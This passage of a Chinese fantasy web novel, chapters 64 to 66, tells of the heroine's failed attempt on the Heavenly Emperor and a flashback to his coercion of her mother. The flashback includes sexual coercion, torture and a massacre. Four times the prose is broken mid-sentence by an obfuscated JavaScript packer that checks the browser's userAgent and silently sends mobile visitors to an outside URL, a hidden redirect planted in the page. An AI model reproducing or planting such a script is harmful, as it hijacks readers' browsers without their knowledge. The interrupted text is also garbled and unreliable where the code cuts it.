“从前没在鸟族见过姐姐呢……这股力量,也不曾见过……” “没见过就闭嘴。”苍宁盯着月亮,“没见识还往外说。” 苍宁再欲出手,男子已经迅速离去。等待月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030057|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悬中天,林中凉风不断,苍宁衣袂飘飘,忽见一只恶犬张开巨口,将月亮吞食。 仙山中迅速变暗,直至不见五指。鸟族眼力一向突出,苍宁逐渐适应过来,伸手接住了西侧方丢来的几枚花针,随即,漫天花针落下,她轻巧腾空,伸手展开淡金色的结界,所有花针扎在她的结界之上,花针瞬间粉碎。 这个结界源于晏长书的力量,但苍宁已然可以随意使用,她面无表情地迎接四面八方的攻击,听见有人急急低语: ——“这是什么身法?鸟族中未曾见过。” ——“第一轮时像凤凰秘法,倒像是少主那一脉的……” ——“少主怎会教来路不明之人!” ——“难道她就是瑶柱宫里那位……” 苍宁将所受攻击弹开,黑暗之中,巨大的气流冲倒了树林,百里内,树木狼狈不堪,皆被刮去了树叶。 “是她!勾引少主不成,反倒勾引尊者那位!” 苍宁冷笑:“你是哪位仙侍?” 黑暗中,对方大怒:“我乃明宵宫辉吾老人座下第一弟子,什么仙侍不仙侍!” 苍宁摇头:“没听过。你来日应该没进神界。找个其他事情干吧。” “你!” 说时迟,那时快,苍宁指间凝聚起一阵光波,淡金色的潮水涌向四周,她跃至空中,眸中卍字出现,扫视过四周,见他们个个被金光拂落在地,暗笑一声道:“神界有什么好,个个都要去?” “去灭你这种下三滥手段的妖孽!” “唯利是图,还敢说我下三滥。数十人围攻我一人,便不是下三滥?”苍宁冷道,“你们慢慢玩,我不参加小孩子的闹剧。” “你胡说八道!” 哦,都忘了他们都比自己老了。 “放心吧各位,你们的面容我都记下了。我从未在神界见过你等。”她笑道,“我嘛,先替你们去看看第三轮什么模样。” 她识破照心镜玄机,冲破被咬食的月亮处,天光一明,来到了比试场上。玉佩豁然一闪,浮现出青色。一紫一青,代表两关已过。 她环视一周,从地上站起来,挺直腰背。 各族鸟类环坐比试场四周,锣鼓喧天,欢呼声不断。 大仙侍驾云来到她身边:“恭喜第一位进入第三轮的鸟族子裔!请报上你的姓名。” 苍宁心跳加快,惴惴不安。她皱眉问道:“少主何在?” “这……” “天帝何在?” 另一位仙侍急急赶来,在大仙侍身旁耳语,大仙侍附耳对她道:“他们正处理神界事务,不会过来,你莫要无理取闹。否则,取消你进入神界的资格。” 进入神界的资格? 苍宁冷道:“他们在哪?” “自然在主殿,”大仙侍眯眸,“快些笑,别再闹了。” 不稍时,大仙侍朗声道:“这位同胞有些害羞,请向众族报出你的姓名。” 苍宁冷哼一声: “我弃赛。” 比试上一片哗然。 大仙侍道:“这可是进入神界的好机会,多少人都求不来……!” 苍宁一字一顿道:“我不需要。” 她起身离开,没有一丝留恋,大仙侍急着取消她的资格时,却发现她留下的玉佩自始至终都是上神的通行证。 “是凝安大人的……” 大仙侍不敢置信地抬头:“可是凝安大人,不是已经跟随天帝陛下……” 64. 刺杀天帝 苍宁一出比试场,便看见神界的马儿从天空跃下,一众仙侍等候在神界马车后,队伍蜿蜒不见底。 苍宁顺着仙侍队伍追到尽头,队伍已然开始行动。凤凰山的主殿中,一道神光冲破屋宇,引领马车通往神界。 主殿无人,唯留有一丝气息。 苍宁转身追到马车,被各路仙侍阻拦:“放肆!还不退下!” 苍宁恍若未闻,挥退仙侍,挤身过去,却被结界弹开。马车继续向上,车内的人掀起布帘,正是久未相见的知危。 “知危……凝安。” 苍宁叫出声时,凝安双目盈盈有泪,她面色苍白,哀声相劝道:“快回到你的时间里去,别再在此逗留。” “听少主说,您有——” 凝安摇摇头,苍宁立刻会意,将怀孕的消息闭锁于口。 一众仙侍又追上来,苍宁一边闪躲,一边同凝安说话:“可您的身子一直没有好,我带您回三危山。” “我今日回神界,是天帝的命令。我自有主张。快些走,莫要让他发觉你!” 可已经晚了。 马车的结界忽然隐现出数百条线,天空中,巨大法相黄金闪闪,遮天蔽日,五指上勾连着数百条线,将马车牢牢吊起,抓回神界。 而法相另一手攥住苍宁身子,紧紧将她包裹住。掌内昏天黑地,掌外传来凝安的喊声,苍宁凝神聚力,想从内破发掌心,无可撼动,转瞬之间,掌心天地换了模样,苍宁看见凝安正盈盈站在她面前,劝她:“好孩子,别强求。” 苍宁问道:“什么叫强求?我从来没有强求,是你偏让我求之不得。” “天地规则中,人海茫茫,你不过是蝼蚁,何不以蝼蚁之躯,做些更有意义的事?” 苍宁听至此处,魄丹处魂火相交,不适至极:“不要用她的脸说这样的话。我厌倦了你口中的牺牲,用我的奉献换取你的成就,让你得座高位,还受他人崇拜,天底下竟有这样划算的买卖,我真是受够了——受够了!” “凝安”温柔笑道:“好孩子,你太情绪化了。安心过活,亦是智慧。” 苍宁静视半晌,哼声道:“你说得对。” “凝安”一愣,点头:“你能明白就好。” “你说得对。你一己私心,转口就可以向众生传达为天道,你在你制定的规则里活得真好,真自信,真如鱼得水,我真是羡慕啊。”苍宁笑道,“有两句话,我从很早之前就想和你说了。” 苍宁略略摇头,黑眸中浮现怒气,刚硬难折: “第一句:关你屁事。” “第二句:你怎么不去死?” “凝安”面色不善,皮肉恍如波浪颤动,叫人胆战心惊。 她忍无可忍,在收缩的掌心中凝聚出一道火光,从内至外劈开了掌心,法相失去一手,向□□侧,苍宁趁机跳出掌心,朝外飞去。 凝安从马车中探身而出:“宁宁,小心!” 数百条金线飞射而来,犹如流星拖尾,苍宁翻身躲蹿,金线始终追赶不断。凝安伸手想要施法,可肚中力量随苍宁的动作而疼痛,捂着腹部,浑身冷汗。 苍宁喊道:“您还好吗?” 眼见马车就要消失在天际,苍宁飞身而去,又被结界弹开,再度飞身而上,叫凝安面露不忍,凝安伸手,一双纤纤柔荑冲破结界,柔化了所有力量,牵住了苍宁的手。 马儿嘶鸣一声,苍宁只觉力量从指尖传入,有若涟漪般唤起了身体中全部的力量。苍宁眸中卍字一开,所有事物静止一瞬,连追绞她的金线都停留在空中,不再动弹。 不要怕。 苍宁听见凝安的声音。 不要怕。 回到你的时间里,去做。 我会尽我所能…… 时空之术仅能维持一瞬,无法再用。苍宁心尖发颤,脑中回荡着凝安最后的话语。 金线很快将凝安拽入天际,苍宁将身一扭,没有甩掉金线,反倒被越缠越紧。 数百条的金线将她裹成虫蛹,径直甩到了天侧。 她翻滚着,欲烧毁金线,不一会儿,那线竟忽然自主从她身上慢慢脱离,拉紧了她的手腕和脚腕,往外扯开—— 嘶,疼! 恍惚之间,她被天光迷了眼睛,好在幕篱尚在,让她得以快速调整视线。 她低头一瞧,发觉自己正被锁在空中,立于悬崖半空。身下是无垠海水,波浪翻浪,已然脱离了凤凰山。 悬崖上站着的,赫然是姬烨。他望向苍宁的方向,羽印生光。 苍宁背后贴上一具冰冷的身子,她无法看见是谁,只感觉到冰霜不断爬上她的四肢,从她的皮肤中钻入,凝结住她的血液,带出密密麻麻的刺痛,从内而外将她整个冻住。 霎时间,天边滚雷响起。 雷光闪烁间,苍宁忍疼痛,往后一探,站在雷云之上的,正是天帝! 天帝…… 是他——是他! 积压已久的怒与怨从苍宁心底迸发而出,她的整颗心都在颤抖:在鬼界痛苦的,将她折磨到意识混沌的过往通通涌了上来,将她淹没。 “宁宁!” 姬烨唤回她的意识,苍宁魄丹之中流转出从未有过的汹涌之力,瞬间爆发出赤青色的火焰,瓦解了冰霜之力! 天帝向高处移动,身背天光,叫人无法看清面目。苍宁二指燃火,意欲没入他的心脏处,却被反手扣在他身前。 冷霜再度凝结住苍宁的双手,不灭的火焰烧毁了她的幕篱,一头乌发散下,她额上羽印生出熠熠光亮。 她心念意动,姬烨手中的斩星刀腾空从他手中飞出,顺势飞到了苍宁手中。 泠泠刀光下,她眉目坚毅,没有半丝退缩。 只见斩星刀浴火更亮,如电如光。 天帝声如寒霜:“你是凤凰?” 苍宁笑道:“天帝老儿,叫我几声姑奶奶,我许会叫你好死。” 电光石火之间,她没有任何废话,也没有半丝犹豫地将斩星刀没入天帝胸膛! 轰隆隆—— 天空瞬息而变,大雨倾盆而落。 滴,滴答—— 不,不是雨。 亦不是血。 降下的是带着雷电的冰锥,将姬烨定在悬崖上,更将苍宁手中的斩星刀凝结在天帝的胸膛之前。 天空暗而阴怒,狂风吹得人遍体生凉,苍宁暗暗吃惊,想要拔出斩星刀,被天帝握住了腰身。 “凤凰?哼,很有意思。” 她无法看清楚天帝的脸,却能听见他的声音从四面八方而来: “但你杀不了我。” 他抬起手,雷云顺势而动,天地为之变色。 姬烨瞳孔一缩,赤红的三昧真火化开冰霜,从悬崖上跳起,接住了苍宁。他带着她向密林中奔去。雷云拨天见日,天空霎时晴朗,姬烨低声斥道:“不是在比试大会上吗,作何前来!” “爹娘有难,我怎可不来!”她道,“若能改写命册,我便是死了也值得!” “胡说!”姬烨怒目道,“你在此修行,牵动的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030058|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每次力量,都会让你娘胎气大动,她为你能顺利修行,强忍不适——你这条命竟是说要便不要了?” 苍宁目色沉沉:“天帝欺人太甚,我实在难以忍受。” “苍宁,争取不是为了去死,是为了活着!”姬烨握住她的肩,与她对视,“你是我和凝安的孩子,纵使天崩地裂,我与她也会保你至死,如今天帝发怒,凤凰山上还有无辜鸟族,怎能让他们受到牵连?你快些回到瑶柱宫,寻尊者叫你回去。” 话音刚落,晴朗的日空中似出现鲸鸣之声。苍宁抬头望去,双眸大睁,一支巨型冰棱箭正搭在云弓之上,箭头刺透云霄。 天帝手指向下一放,那巨型冰棱箭从云弓上弹射而出,以迅雷不及掩耳之势刮破海水,悬崖,树林……亮光乍现,所及之处无不毁天灭地,叫人胆寒。 刺眼的冰棱越逼越近,苍宁的心扑通扑通狂跳着。 在面对死亡的那瞬间,她似乎和凡人一样,并没有自己想的那么勇敢。 她的黑瞳倒映着姬烨忍痛的面容,冰棱巨大的冰尖破开她的手掌,擦起烈烈冰焰。 她心跳声由快到慢,戛然而止—— 胸膛将被刺穿之际,一个声音忽然出现在她耳边。 【可曾后悔?】 世间没有后悔药。 做过的事,难道能用后悔来赎罪? 算她输了。 赌输了。 让她一个人承担就好。 若能重来一回,她必定还要精进百回再杀天帝。 苍宁胸前的鲜血横流,一滴一滴落到地上。 她的呼吸中充斥着冰霜之气,喉间生出腥甜。 可是,四周却停滞着。 整个时空停滞不动了。 忽而,一阵熟悉的气息在她四周飘散开来,她被刺穿的手掌上叠上另一只骨节分明,苍白干净的手。 她看见晏长书翩然而至,借用她的手释放出强大足以和冰棱抵御的巨大卍字,挡住了一切冲击。而她身上所有的伤痕和痛苦,尽数转移到了那人的身上。 淡金色的烟雾弥漫,遮住了方圆十里。 他提醒她:“记住回去的时间点。” 苍宁脑中快速旋转,紧盯着他:“你……” 他并没有完成蛇蜕。 他看上去不好,脸上的皮掉落大半,变得有些面目全非。冰棱的伤痕让他看上去更加虚弱。 他注意到了,闭目侧头:“很丑?” 苍宁苦中作乐:“丑。下次给你戴个面具。” “下次……下次……”晏长书低声喃喃,唇间溢出鲜血。 没有太多时间感慨,卍字忽然在空中旋转,时空变形,将苍宁卷入其中。 他们的手在空中分离,苍宁鼻尖一酸:“我爹娘……” “我知晓。” “晏长书,晏长书……” 她还想说些什么,可很快消失在时空之术中。 一切都太突然了,容不得她思考。 她甚至来不及和晏长书,和姬烨说一句再见。 时空恢复后,淡金色的烟雾被冰棱的霜气所掩盖。 树林中没了姬烨的身影,更无晏长书的踪迹。 一如晏长书不曾来过。 海面上,天帝缓缓降落,一众仙侍急急赶来传话,他见没能杀死苍宁,竟抬手用冰棱将为首的仙侍穿刺而死。 仙侍坠落于海面。 身后的人皆不敢言语。 天帝眯眸:“去查,去查那个女人是谁!” 65. 他、她和他·一 苍宁好奇过时间在晏长书眼中是什么模样。 上一次来时太过突然,她脑子七晕八素,根本分不清东南西北。这一回想见的往事如洞穴中潜藏已久的壁画,徐徐展现,不再是烛光之影,瞧不明晰。 她站在时间之外,完整地、全部地,看见了过往的真相。 事情与她有关。 应该说,从她意外回到过去开始,她便成为了其中至关重要的一环。 她与晏长书从此时结缘,姬烨和凝安知晓了苍宁是他们的孩子,天帝则看见了,一位鸟族的孩子想要取他的性命。 因果缠绕,生生不息。 自苍宁从冰棱下消失之后,凝安用尽法子逃回了三危山。 西王母知晓她已怀身孕,感慨万千,不忍凝安受难,为保胎儿康健,为她施下术法,叫她安静养胎。 西王母与天帝素来井水不犯河水,乃共治天地一方,不知从何时起,天帝妄想从西王母手中攫取权力,故而将西王母摒弃于外,愈发集权。 可天帝执著于凝安。 他不知是爱极了她,还是恨极了她对他视而不见,三番四次来到三危山,想要见她。 凝安闭门不见,天帝便堵在门口。 “阿凝,他有什么好?”天帝冷声道,“与我一起,才是正道。” 凝安拒绝他,讨厌他,心惶惶不安,将他送来的东西全都焚毁。一日,天帝终于没了耐心,将姬烨从凤凰山抓回了神机庭,那夜,他来到凝安门前,门没有锁。 他便这样走了进去。 烛光下,凝安身披羽衣,皮肤莹润,美好得叫他心尖发颤。他笑道:“我知道你还是在意的。” 凝安隐忍道:“昊衡,你将他放了。” “好。”他连声哼笑,“你叫我名字时,似乎有些不乐意?” 凝安摇头:“没有。” 天帝昊衡抬起她的下巴,残酷道:“阿凝,你是天底下唯一能唤我名讳之人。再叫叫,开心些。” 凝安美眸中盈盈含泪,抖着红唇,弯出一个笑:“昊衡……昊衡……” 她的声音如南风,温暖动人。 他眸色/欲深,食指挽起她柔软的发,轻轻一吻,顺势将她推倒在床上。凝安下意识要推开他,被他锁住双手。 他贴在她的耳侧道:“不是乐意么?” 她身子一颤。 他冷静道:“阿凝不是告诉我,爱是很美好的么?阿凝应当爱我。” “那是不一样的,昊衡。”凝安小心翼翼地柔声说道,“我对你的爱,和对姬烨的爱,对苍生的爱,是不同的。” 无情的天神没有询问有什么不同。他居高临下地俯视她,扣住她的肩膀,下了敕令:他要她把给姬烨的那份爱,还给他。 “阿凝本就是我的东西。是我发现的宝物,是上天赐予我的,助我夺得天运的祥瑞,”昊衡冷淡的话语流露出叫人胆寒的怒气,“姬烨算什么东西,他也配?” 凝安面色一白:“昊衡,我是青鸾,若认定一人便是一辈子,怎会见一个爱一个。” “可你分明先认识我的。你只需认定我一人。” 她恳求他:“昊衡,我的爱并非随心所欲——” 天帝不愿再听。他覆身而上,若情人私语:“阿凝,若要我放了他,便乐意给我看。否则,整个神界都不会轻饶了他。” 月色下,凝安无言沉默。 她别无他法,将双臂搂住他的脖颈,带出一段沁人心脾的馨香气来。他的身体很凉,凉得她牙关发颤,可她仍旧尽力扬起娇面,依偎他而笑。 昊衡垂眸:“不是这样笑。” 凝安喃喃:“那是怎样?” “如你见姬烨那样。” 她调整数刻,竟真如夜昙花般笑出来,贴着他的面颊,柔柔送上自己的唇。昊衡要如何,便如何。她像个傀儡一样由他亲来吻去,感受不到任何温度。 可昊衡却沉醉其中。 事后,昊衡果然遵守诺言,但他仍旧有残忍的一面:他要凝安亲自去同姬烨告别。 告别那日,姬烨仍被绑缚在神机庭的牢狱中,昊衡坐在一侧,饶有兴致地欣赏着姬烨的痛苦,凝安的冷漠。他听见凝安说出从未爱过姬烨这话时,满意地笑出声。 昊衡起身,揽住她的腰,冰冷的唇在凝安面庞上游移,攫取着她的温度: “阿凝,告诉他,你爱的是谁?” 凝安不忍看着姬烨说出来,面无表情地转身,闭目片刻,樱唇发抖,深吸一口气,面对昊衡道:“是你。” 她麻木地重复:“一直以来都是你。” 昊衡的笑声和姬烨痛苦的嘶吼交织着,令凝安面色愈加苍白。当夜,昊衡在床上百般折磨凝安,凝安只觉得格外疼痛,不断忍耐着,保着胎儿,不叫他发觉。 昊衡捏着她的下巴:“阿凝在想谁?” 凝安闭眼:“……你。” 他似乎是满足地笑着,拨弄她的发尾,问道:“那阿凝嫁给我,如何?” 他此言一出,凝安简直如晴天霹雳:“……我,我嫁不得。” 昊衡的笑容瞬间沉下来,眉眼中勾着刺,定定道:“我再问你一遍,嫁不嫁?” 凝安咬牙道:“不嫁。” 不嫁是有后果的。 昊衡从来都知晓如何拿捏她,把她的爱意和善心当做利己的玩具。 他处死她的仙侍,毒哑她好心收养的小鹦鹉,还割去了小鹦鹉的舌头,炙烤之后,系上丝绸,放在四方盒子中,送给她做纪念品。 在花神岳枋的帮忙下,凝安好不容易找到机会和姬烨消解误会,互诉衷情。 他们计划一起逃去人界,在一处僻静地生活了三个月。 那是一段极为美好的时光,日出而作,日入而息,他们如每一对幸福的凡间夫妻那样,鹣鲽情深,恩爱非常。 他们结识了当地的村民,融入了村落的生活,没有人知道他们是神明。 快乐的日子总是短暂的。昊衡找来的那日很热,他的脸上沾着鲜血,唇边微微勾起笑容,眼瞳中倒映着凝安不安的神色。 姬烨握紧她的手,和她站在一起,凝安却浑身发凉。 他翻手为云覆手为雨,屠杀了整个村落,叫这个地区未有雨落,变成荒芜沙漠。 尔后,他像是未经世事的孩童,露出最单纯的笑容: “阿凝告诉他了么?” 凝安毛骨悚然:“什么?” “告诉他,我们即日便要大婚。”昊衡温柔道,“阿凝说不愿,我知道不是真的。一朝为后有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030059|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压力,便嫁与我做侧妃吧,我不会纳后,都一样。” 姬烨要带她离去,昊衡一抬手,叫姬烨四肢僵硬,从腹中喷出一口血来。见凝安满脸心疼,昊衡说道:“阿凝心疼了?可是——” 他疑惑道:“阿凝不是说过,一直爱的是我吗?” 凝安所有血色褪得干干净净。 昊衡诱道:“阿凝过来。” 凝安一步不能动。 姬烨因疼痛跪倒在地,五脏六腑爆裂开,眼珠子里全是血丝。 昊衡道:“你若不走到我的身边来,他会在一刻钟碎成尸块。” 姬烨抓住她的手:“别去……凝安,别去!” 她去了。 她当然一步一步走到了他的身边。 昊衡脸上浮现胜利者的微笑,揽住了凝安的腰身。 “阿凝。没有人能从我身边带走你。” 昊衡抬手想要抚摸她的面颊,发现手上有血,便擦干净,再去碰她。她下意识往后退,昊衡一怔。 “你怕我?” 凝安闭目,沉声道:“将百姓救回来。” 昊衡只道姬烨这次暂且放过,可是…… “如果你不逃,他们怎么会死呢?这是不是阿凝的因果,嗯?” 这句话的冲击对凝安来说极大。青鸾一族是祥瑞之鸟,从古至今都只带来祥和与幸福。如今,却因为她死了一整个村寨。 她受不住这样的场面,低头垂泪:“那便请您,请天帝,放过姬烨。” “阿凝呢?” “与你成婚。”她睫毛颤颤,“永远与你在一起。” 凝安谢绝了西王母的帮助,决心就此一身成仁。大婚当日,百里红妆铺了整整半边天,人间是以吉兆相称。 婚夜当晚,凝安不知道的角落,姬烨被昊衡处以刑罚,拔掉凤凰引以为傲的羽毛,再拔取利爪,折断翅膀,将他一张脸砍得面目全非,所见非人。 “你变成这副丑陋的模样,阿凝定是害怕极了。”昊衡轻声笑道,“丑八怪。” 尔后,他毁去了姬烨的羽印,叫他无法使用凤凰秘法。 姬烨走火入魔,被昊衡丢进了鬼界。 昊衡冷道:“若你胆敢违背命令,我必屠杀凤凰山,叫凤凰浴火不能重生。” 他要姬烨违背凤凰本能,去当那鬼王,叫姬烨抛弃身为凤凰少主的全部骄傲,低头和卑劣的鬼魅同行。 姬烨却也真的不甘心。 尽管没了羽印,姬烨仍旧练就了一身好本事,又因面目全非,无人认识他,无人怀疑他。 姬烨从最底层的不知名的鬼魅开始向上爬,跌落火海再爬起,踏过骷髅,杀死互相蚕食的鬼魄,一步一步,一次又一次,终于杀掉了在任鬼王,成为了新的鬼王。 可鬼气森森之地,不是凤凰久待之处。时间一长,必将致使他姬烨意识混沌。 但姬烨意志强大,仍有一丝理智,想要借鬼王的力量,驳斥天帝,从这场荒诞的戏目中逃出—— 明面上看,众神以为凝安与姬烨玩弄了天帝,才得以刑罚,实则截然相反。可偏偏这样的风声传往神界,众神皆夸赞天帝的大度与情深。 令人感到恶心。 此时,凝安肚子日渐大起来,怀孕之事终究瞒不住。 66. 他、她和他·二 昊衡以为凝安怀的,是他的孩儿,欢天喜地,竟百般顺着凝安。而凝安为避免事端,将一切忍下,只当做这个孩子是昊衡的,与他假意琴瑟和鸣。 对于凝安来说,这是一段平静的日子。 她能够借机拒绝房事,筹谋离去。 除了…… 她不能忍受自己的孩子叫昊衡爹爹,不能忍受这个孩子将生活在精美包装的谎言之中,更不能忍受自己就此折服在昊衡的淫威之下。 不能忍受昊衡在她的身上套上四条长长的缚神索,令她无法展翅高飞。 昊衡会取来日月精华,海之珍宝,让凝安好生养胎,这是凝安需要的。他会在看着她吸/食日月精华之后,从身后抱着她,让她坐在自己的腿上。 这个姿势是极度占有的,身下的人可以看见对方全部的表情,控制对方所有的动作。 苍宁不知道他从哪里学来恩爱把戏,可凝安能拒绝房事,却不能够拒绝昊衡的所有亲近,让他生疑。 凝安在试图扮演一个合格的侧妃。 神界威名震震,天帝更是为无数人敬仰,她知晓有许多人对昊衡心生爱慕。可她看着一排水灵灵的仙子站在她面前的时候,她竟觉得悲哀。 她如今也要到这种境地了吗?让旁人以为是极乐,实则不过是用自私来骗取她们年轻无辜的身体,她会就这样堕落下去,就像一颗放置年余的苹果,将完整的皮撬开之后只剩下萎缩的内核。 她们曾像自己一样对未来充满勃勃希望,她曾是带领众人众神走向希望的神鸟,又怎么会真的希望她们沦于陷阱? …… 昊衡来的时候已经是深夜了。凝安竭尽全力飞到屋宇最高处,遥望月光。 昊衡站在屋檐下,勾着唇,眼神冰冷:“听闻阿凝想要替我纳妾。” 凝安淡道:“你的探子报错了。我召她们来,不过是想告诉她们一些提升修为的正道。” 昊衡静静仰望她:“阿凝,下来。” 他命令的语气无可避免地让凝安感到不安。她的手颤抖着,不为所动。可缚神索的源头在昊衡手里,凝安不动也得动。 她被硬生生拽到昊衡的怀中,被剪去飞羽的翅膀渗出血,被昊衡轻轻舔舐:“阿凝疼吗?” 凝安呼吸一滞。 “阿凝是因为我疼的。”他眼底有着病态的满足,咬住她的耳垂,“阿凝是因为我……才有感受的。” 这重要吗? 凝安染着血的亲吻中笑了笑,闭上眼睛。 凝安不在意,可是有人比她还在意。总会有人告诉凝安,娘娘,天帝陛下多么爱您。凝安浅笑询问,如何爱我?所有仙侍都笑道,陛下为您送来了日月精华,这是多少神仙都无法浅嗅一口的至尊宝物。陛下给您取来织女最好的锦缎,听说将晚霞和日光织了进去,才能这样辉煌生彩。 凝安笑容不动,你喜欢,便拿去吧。她将锦缎披在仙侍的身子上,笑的弧度都没有变,眉眼弯弯,像是木雕的神像。 现在你也享有天帝的爱了。她看见仙侍瑟瑟发抖,轻声问,你为什么不开心? 仙侍垂头道,只有娘娘才配享有陛下的爱。 我?凝安垂目。 娘娘为什么哭? 凝安抚过仙侍的面颊,那是她掉下的一滴眼泪。 她把不能说出的话藏在心底:可是昊衡不配得到她的爱。他甚至不配引领苍生。 凝安与仙侍的交谈很快被昊衡知道,但直到凝安发现那个仙侍消失不见,才知晓仙侍被活生生剥去了面皮。 凝安的心如至冰窟。 “阿凝夜里都不曾抚慰过我。怎么能用这双手去碰别人?”昊衡拧过她的头,要凝安看向自己,“阿凝,在想谁?” 凝安努力控制自己的表情:“你。” “阿凝今日哭了?” 她深吸一口气。 昊衡忽然道:“阿凝哭给我看吧。上面和下面……都想要看。” 凝安睁大双眼,纤细浓黑的羽睫在苍白的面容更加惹人怜爱:“你说过,房事可免……” “可我想阿凝。阿凝不想我吗?”他的手探进去,轻易握住柔软之处,凝安身体僵硬:“孩子,孩子会知道的……” “知道我们相爱吗?” 不! 凝安挣开他,长发垂落在胸前,遮住春光:“……为了孩子,再忍忍,好不好?” 她几乎在哀求他。 昊衡的手指卡进她的唇中,低声道:“可是怎么办,我很想阿凝。我想要阿凝爱我的感觉……” 令人痴迷的感觉。 于是,凝安用手,用唇,用其他部位满足他的一己私欲。他好似也就真的满足了,在她的怀中摸着她微微隆起的小腹,低头去吻:“我们的孩子一定是最好的。” 凝安以为有关孩子的秘密会藏到地老天荒。 可是不知昊衡从哪打听到,当初在凤凰山上意欲杀他的女子,是姬烨的孩子。姬烨如今消失不见,怎会有孩子?昊衡自然而然地将怀疑的目光转移到了凝安肚里的孩子上。 他勃然大怒,掐着她的脖子质问真相,凝安憋着一口气,无论如何都咬下死口,说这是她与昊衡的孩子。她像其他人一样,跪在他的面前,祈求天帝的施恩,极尽媚色之可能去讨好他,让他相信是真的。 “好痛,昊衡……” 他更加痴迷,痴迷她的疼痛,她的眼泪,还有烂红靡醉的花瓣。 她被折腾到奄奄一息,躺在天上天下最叫人艳羡的寝殿里发呆,之后,她终于忍不住开始憎恨这个世界。 青鸟报福。她报的是谁的福? 她曾为这个世界做出了这么多,尽可能为他人的幸福谋福报,可是为什么没有人来帮帮她,为什么世界要这样回报她呢? 她的一报还一报在哪里? 原来世界不是这样的,原来真的有那么多人会因为别人的痛苦感到快乐,原来真的有人如此袖手旁观到处传播别人的痛苦并洋洋得意自己虽无权无能,可不是笼中雀,逍遥自在。 她的痛苦是一场配合深情的演出。配合卑劣之人的参照。不是她曾经的不计较得失的相助。 世界原来是这样的。 凝安恍然大悟。 凝安开始计较得失,认定好人好报是个天大的笑话,在失衡中将自己贬到尘埃,连同把整个世界都弃之如敝履。这样一来,凝安忽然就真的可以轻松地和昊衡言笑晏晏,和他一同沉沦下去。 直到有一日,给她梳发的仙侍忽然沉默得掉下眼泪,对她说,您的尾羽去哪儿了。 她像是不声不响的盲哑者。 尾羽?哦…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030060|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对了,她还有那种东西。 她照例勾起标准的笑容,对他说,送给陛下了。 她把她有的一切都赠予昊衡了,连他在激狂中剔除她那处儿的毛发也无力阻止。除了这个孩子,她什么都没有了。 至于不能飞的羽毛,用来做什么呢? 讨人欢心吧。 仙侍目光灼灼,喃喃一声:姐姐…… 凝安一怔。 久违的语气和熟悉的称呼让她的心重新活了过来,可她不敢相信,只好装聋作哑,以免仙侍遭到无情的虐杀。 可第二日,第三日……凝安在不同的仙侍身上听见了熟悉的口吻,她不由开始期待每日会是谁来为她整理衣装。 这批小小的仙侍能力极弱,只有人类六七岁模样,不容易激起昊衡强烈的占有欲和嫉妒心。 但也极其容易被附身。 仙侍会爱怜她的羽发,会关照她的心情,会心疼她的境遇。 凝安知晓那是姬烨。 他还活着,他还活着! 姐姐,等一等,我还会来。他会这样说,你会飞起来的。 她还可以飞起来。 凝安寂寥的心就这样日复一日滋养起来。可孩子渐渐成长起来,凝安能够感应到孩子的心跳,孩子的模样,孩子的力量——属于凤凰的血脉如论如何都藏不住,浴火重生是他们与生俱来的天赋。 她只好精心策划一桩事故,设法恳求姬烨帮她这个忙,在术法的短暂藏匿下,亲手将孩子从肚子中生生剖出来,用神力包裹住她,化成小小一颗仙丹状,让姬烨带到三危山去。 之后,她在竭力飞起来的时候忽然坠地,让自己流产的事实公之于众。 姬烨施展的术法终于让凝安清楚,姬烨去了哪儿。他成为了鬼,不愿意用真面目见她的鬼魅。她想起曾经的一切,心如绞痛,恨不得将一切毁去。 昊衡发疯的时候,她在笑。 她哈哈大笑,一反常态,以至于昊衡收起了勃然大怒。 “阿凝,你疯了。” 凝安笑出了眼泪,笑得打滚。 她被自己的鲜血呛住,长发搅在血污之中,翅膀虽梳得整齐,可东却一块羽毛,西缺块羽毛,还掉了尾羽,不似从前美丽。 昊衡拧着眉:“阿凝,你变了。” 她忽然停止了笑:“你说什么?” “从前你不是这样的。”昊衡说。 